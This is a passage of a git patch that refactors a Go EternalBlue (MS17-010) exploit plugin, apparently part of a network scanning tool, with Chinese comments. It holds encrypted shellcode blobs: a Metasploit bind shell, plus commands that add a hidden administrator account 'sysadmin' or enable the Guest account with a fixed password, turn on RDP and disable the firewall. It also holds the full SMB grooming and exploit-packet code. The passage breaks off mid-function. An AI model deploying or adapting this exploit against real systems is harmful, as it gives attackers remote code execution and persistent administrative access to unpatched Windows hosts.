v := range segmentCounts { + sortMap[k] = v + } + + // 获取TOP N结果 + for i := 0; i < length && len(sortMap) > 0; i++ { + maxSegment := "" + maxCount := 0 + + // 查找当前最大值 + for segment, count := range sortMap { + if count > maxCount { + maxCount = count + maxSegment = segment } } - arrTop = append(arrTop, maxCountKey) - arrLen = append(arrLen, maxCountVal) - i++ - if i >= length { - return - } - delete(arrMap2, maxCountKey) + + // 添加到结果集 + arrTop = append(arrTop, maxSegment) + arrLen = append(arrLen, maxCount) + + // 从待处理map中删除已处理项 + delete(sortMap, maxSegment) } + return } From e39363dce07382f2c7c45ba0bcf717e997642dfd Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:29 +0800 Subject: [PATCH 021/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96MS17010-Exp.g?= =?UTF-8?q?o=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0?= =?UTF-8?q?=E6=B3=A8=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/MS17010-Exp.go | 1623 ++++++++++++++++++++++++---------------- 1 file changed, 969 insertions(+), 654 deletions(-) diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go index 8b78405..f537271 100644 --- a/Plugins/MS17010-Exp.go +++ b/Plugins/MS17010-Exp.go @@ -14,31 +14,53 @@ import ( "time" ) +// MS17010EXP 执行MS17-010漏洞利用 func MS17010EXP(info *Config.HostInfo) { address := info.Host + ":445" var sc string + + // 根据不同类型选择shellcode switch Common.SC { case "bind": - //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex + // msfvenom生成的Bind Shell, 监听64531端口 sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err)) + return + } + case "cs": - //cs gen C shellcode -> fmt.Printf("%x", c) -> hex + // Cobalt Strike生成的shellcode sc = "" + case "add": - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user sysadmin "1qaz@WSX!@#4" /ADD && net localgroup Administrators sysadmin /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex + // 添加系统管理员账户并配置远程访问 sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err)) + return + } + case "guest": - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user Guest /active:yes && net user Guest "1qaz@WSX!@#4" && net localgroup Administrators Guest /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex + // 激活Guest账户并配置远程访问 sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err)) + return + } + default: + // 从文件读取或直接使用提供的shellcode if strings.Contains(Common.SC, "file:") { read, err := ioutil.ReadFile(Common.SC[5:]) if err != nil { - errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", Common.SC, err) - Common.LogError(errlog) + Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.SC, err)) return } sc = fmt.Sprintf("%x", read) @@ -47,817 +69,1055 @@ func MS17010EXP(info *Config.HostInfo) { } } + // 验证shellcode有效性 if len(sc) < 20 { - fmt.Println("[-] no such sc") + fmt.Println("[-] 无效的Shellcode") return } + // 解码shellcode sc1, err := hex.DecodeString(sc) if err != nil { - Common.LogError("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error()) + Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err)) return } + + // 执行EternalBlue漏洞利用 err = eternalBlue(address, 12, 12, sc1) if err != nil { - Common.LogError("[-] " + info.Host + " MS17-010 exp failed " + err.Error()) + Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err)) return } - Common.LogSuccess("[*] " + info.Host + "\tMS17-010\texploit end") + + Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host)) } +// eternalBlue 执行EternalBlue漏洞利用 func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { - // check sc size - const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 - l := len(sc) - if l > maxscSize { - //fmt.Println(maxscSize) - return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) + // 检查shellcode大小 + const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度 + scLen := len(sc) + if scLen > maxscSize { + return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)", + scLen, maxscSize, scLen-maxscSize) } + + // 构造内核用户空间payload payload := makeKernelUserPayload(sc) + + // 多次尝试利用 var ( grooms int err error ) for i := 0; i < maxAttempts; i++ { grooms = initialGrooms + 5*i - err = exploit(address, grooms, payload) - if err == nil { - return nil + if err = exploit(address, grooms, payload); err == nil { + return nil // 利用成功 } } - return err + + return err // 返回最后一次尝试的错误 } +// exploit 执行EternalBlue漏洞利用核心逻辑 func exploit(address string, grooms int, payload []byte) error { - // connect host + // 建立SMB1匿名IPC连接 header, conn, err := smb1AnonymousConnectIPC(address) if err != nil { - return err + return fmt.Errorf("[-] 建立SMB连接失败: %v", err) } defer func() { _ = conn.Close() }() - // send SMB1 large buffer - _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - err = smb1LargeBuffer(conn, header) - if err != nil { - return err + + // 发送SMB1大缓冲区数据 + if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { + return fmt.Errorf("[-] 设置读取超时失败: %v", err) } - // initialize groom threads + if err = smb1LargeBuffer(conn, header); err != nil { + return fmt.Errorf("[-] 发送大缓冲区失败: %v", err) + } + + // 初始化内存喷射线程 fhsConn, err := smb1FreeHole(address, true) if err != nil { - return err + return fmt.Errorf("[-] 初始化内存喷射失败: %v", err) } defer func() { _ = fhsConn.Close() }() - // groom socket + + // 第一轮内存喷射 groomConns, err := smb2Grooms(address, grooms) if err != nil { - return err + return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err) } + + // 释放内存并执行第二轮喷射 fhfConn, err := smb1FreeHole(address, false) if err != nil { - return err + return fmt.Errorf("[-] 释放内存失败: %v", err) } _ = fhsConn.Close() - // grooms + + // 执行第二轮内存喷射 groomConns2, err := smb2Grooms(address, 6) if err != nil { - return err + return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err) } _ = fhfConn.Close() + + // 合并所有喷射连接 groomConns = append(groomConns, groomConns2...) defer func() { - for i := 0; i < len(groomConns); i++ { - _ = groomConns[i].Close() + for _, conn := range groomConns { + _ = conn.Close() } }() - //fmt.Println("Running final exploit packet") - err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - if err != nil { - return err + // 发送最终漏洞利用数据包 + if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { + return fmt.Errorf("[-] 设置读取超时失败: %v", err) } - treeID := header.TreeID - userID := header.UserID - finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") - _, err = conn.Write(finalPacket) - if err != nil { - return fmt.Errorf("failed to send final exploit packet: %s", err) + + finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit") + if _, err = conn.Write(finalPacket); err != nil { + return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err) } + + // 获取响应并检查状态 raw, _, err := smb1GetResponse(conn) if err != nil { - return fmt.Errorf("failed to get response about exploit: %s", err) + return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err) } - ntStatus := make([]byte, 4) - ntStatus[0] = raw[8] - ntStatus[1] = raw[7] - ntStatus[2] = raw[6] - ntStatus[3] = raw[5] - //fmt.Printf("NT Status: 0x%08X\n", ntStatus) - - //fmt.Println("send the payload with the grooms") + // 提取NT状态码 + ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} + Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus)) + // 发送payload + Common.LogSuccess("[*] 开始发送Payload") body := makeSMB2Body(payload) - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[:2920]) - if err != nil { - return err + // 分段发送payload + for _, conn := range groomConns { + if _, err = conn.Write(body[:2920]); err != nil { + return fmt.Errorf("[-] 发送Payload第一段失败: %v", err) } } - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[2920:4073]) - if err != nil { - return err + + for _, conn := range groomConns { + if _, err = conn.Write(body[2920:4073]); err != nil { + return fmt.Errorf("[-] 发送Payload第二段失败: %v", err) } } + + Common.LogSuccess("[+] Payload发送完成") return nil } +// makeKernelUserPayload 构建内核用户空间Payload func makeKernelUserPayload(sc []byte) []byte { - // test DoublePulsar + // 创建缓冲区 buf := bytes.Buffer{} + + // 写入loader代码 buf.Write(loader[:]) - // write sc size + + // 写入shellcode大小(uint16) size := make([]byte, 2) binary.LittleEndian.PutUint16(size, uint16(len(sc))) buf.Write(size) + + // 写入shellcode内容 buf.Write(sc) + return buf.Bytes() } +// smb1AnonymousConnectIPC 创建SMB1匿名IPC连接 func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { + // 建立TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, nil, fmt.Errorf("failed to connect host: %s", err) + return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err) } + + // 连接状态标记 var ok bool defer func() { if !ok { _ = conn.Close() } }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to negotiate: %s", err) + + // SMB协议协商 + if err = smbClientNegotiate(conn); err != nil { + return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) } + + // 匿名登录 raw, header, err := smb1AnonymousLogin(conn) if err != nil { - return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) + return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err) } - _, err = getOSName(raw) - if err != nil { - return nil, nil, fmt.Errorf("failed to get OS name: %s", err) + + // 获取系统版本信息 + if _, err = getOSName(raw); err != nil { + return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err) } - //fmt.Println("OS:", osName) + + // 连接IPC共享 header, err = treeConnectAndX(conn, address, header.UserID) if err != nil { - return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) + return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err) } + ok = true return header, conn, nil } +// SMB头部大小常量 const smbHeaderSize = 32 +// smbHeader SMB协议头部结构 type smbHeader struct { - ServerComponent [4]byte - SMBCommand uint8 - ErrorClass uint8 - Reserved byte - ErrorCode uint16 - Flags uint8 - Flags2 uint16 - ProcessIDHigh uint16 - Signature [8]byte - Reserved2 [2]byte - TreeID uint16 - ProcessID uint16 - UserID uint16 - MultiplexID uint16 + ServerComponent [4]byte // 服务器组件标识 + SMBCommand uint8 // SMB命令码 + ErrorClass uint8 // 错误类别 + Reserved byte // 保留字节 + ErrorCode uint16 // 错误代码 + Flags uint8 // 标志位 + Flags2 uint16 // 扩展标志位 + ProcessIDHigh uint16 // 进程ID高位 + Signature [8]byte // 签名 + Reserved2 [2]byte // 保留字节 + TreeID uint16 // 树连接ID + ProcessID uint16 // 进程ID + UserID uint16 // 用户ID + MultiplexID uint16 // 多路复用ID } +// smb1GetResponse 获取SMB1协议响应数据 func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { - // net BIOS + // 读取NetBIOS会话服务头 buf := make([]byte, 4) - _, err := io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about NetBIOS session service: %s" - return nil, nil, fmt.Errorf(format, err) + if _, err := io.ReadFull(conn, buf); err != nil { + return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err) } - typ := buf[0] - if typ != 0x00 { - const format = "invalid message type 0x%02X in SMB1 response" - return nil, nil, fmt.Errorf(format, typ) + + // 校验消息类型 + messageType := buf[0] + if messageType != 0x00 { + return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType) } + + // 解析消息体大小 sizeBuf := make([]byte, 4) copy(sizeBuf[1:], buf[1:]) - size := int(binary.BigEndian.Uint32(sizeBuf)) - // SMB - buf = make([]byte, size) - _, err = io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about header: %s" - return nil, nil, fmt.Errorf(format, err) + messageSize := int(binary.BigEndian.Uint32(sizeBuf)) + + // 读取SMB消息体 + buf = make([]byte, messageSize) + if _, err := io.ReadFull(conn, buf); err != nil { + return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err) } - smbHeader := smbHeader{} + + // 解析SMB头部 + header := smbHeader{} reader := bytes.NewReader(buf[:smbHeaderSize]) - err = binary.Read(reader, binary.LittleEndian, &smbHeader) - if err != nil { - const format = "failed to parse SMB1 response header: %s" - return nil, nil, fmt.Errorf(format, err) + if err := binary.Read(reader, binary.LittleEndian, &header); err != nil { + return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err) } - return buf, &smbHeader, nil + + return buf, &header, nil } +// smbClientNegotiate 执行SMB协议协商 func smbClientNegotiate(conn net.Conn) error { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x54}) - - // --------Server Message Block Protocol-------- - - // server_component: .SMB - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb_command: Negotiate Protocol - buf.WriteByte(0x72) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x28}) - // process_id_high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Negotiate Protocol Request-------- - - // word_count - buf.WriteByte(0x00) - // byte_count - buf.Write([]byte{0x31, 0x00}) - - // dialect name: LAN MAN1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, - 0x30, 0x00}) - - // dialect name: LM1.2X002 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, - 0x32, 0x00}) - - // dialect name: NT LAN MAN 1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, - 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) - - // dialect name: NT LM 0.12 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, - 0x31, 0x32, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return err + // 构造NetBIOS会话服务头 + if err := writeNetBIOSHeader(&buf); err != nil { + return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) } - _, _, err = smb1GetResponse(conn) - return err + + // 构造SMB协议头 + if err := writeSMBHeader(&buf); err != nil { + return fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造协议协商请求 + if err := writeNegotiateRequest(&buf); err != nil { + return fmt.Errorf("[-] 构造协议协商请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err) + } + + // 获取响应 + if _, _, err := smb1GetResponse(conn); err != nil { + return fmt.Errorf("[-] 获取协议协商响应失败: %v", err) + } + + return nil } +// writeNetBIOSHeader 写入NetBIOS会话服务头 +func writeNetBIOSHeader(buf *bytes.Buffer) error { + // 消息类型: Session Message + buf.WriteByte(0x00) + // 长度(固定值) + buf.Write([]byte{0x00, 0x00, 0x54}) + return nil +} + +// writeSMBHeader 写入SMB协议头 +func writeSMBHeader(buf *bytes.Buffer) error { + // SMB协议标识: .SMB + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: Negotiate Protocol + buf.WriteByte(0x72) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x01, 0x28}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0x2F, 0x4B}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0xC5, 0x5E}) + return nil +} + +// writeNegotiateRequest 写入协议协商请求 +func writeNegotiateRequest(buf *bytes.Buffer) error { + // 字段数 + buf.WriteByte(0x00) + // 字节数 + buf.Write([]byte{0x31, 0x00}) + + // 写入支持的方言 + dialects := [][]byte{ + {0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00}, // LAN MAN1.0 + {0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00}, // LM1.2X002 + {0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}, // NT LAN MAN 1.0 + {0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00}, // NT LM 0.12 + } + + for _, dialect := range dialects { + buf.WriteByte(0x02) // 方言标记 + buf.Write(dialect) + } + + return nil +} + +// smb1AnonymousLogin 执行SMB1匿名登录 func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- - - // session message - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x88}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT SUCCESS - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // Signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // Signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // TreeID - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0D) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x88, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC Number - buf.Write([]byte{0x00, 0x00}) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // ANSI password length - buf.Write([]byte{0x01, 0x00}) - // unicode password length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) - // bytes count - buf.Write([]byte{0x4b, 0x00}) - // ANSI password - buf.WriteByte(0x00) - // account name - buf.Write([]byte{0x00, 0x00}) - // domain name - buf.Write([]byte{0x00, 0x00}) - - // native OS: Windows 2000 2195 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) - buf.Write([]byte{0x00, 0x00}) - - // native LAN manager: Windows 2000 5.0 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, nil, err + // 构造NetBIOS会话服务头 + if err := writeNetBIOSLoginHeader(&buf); err != 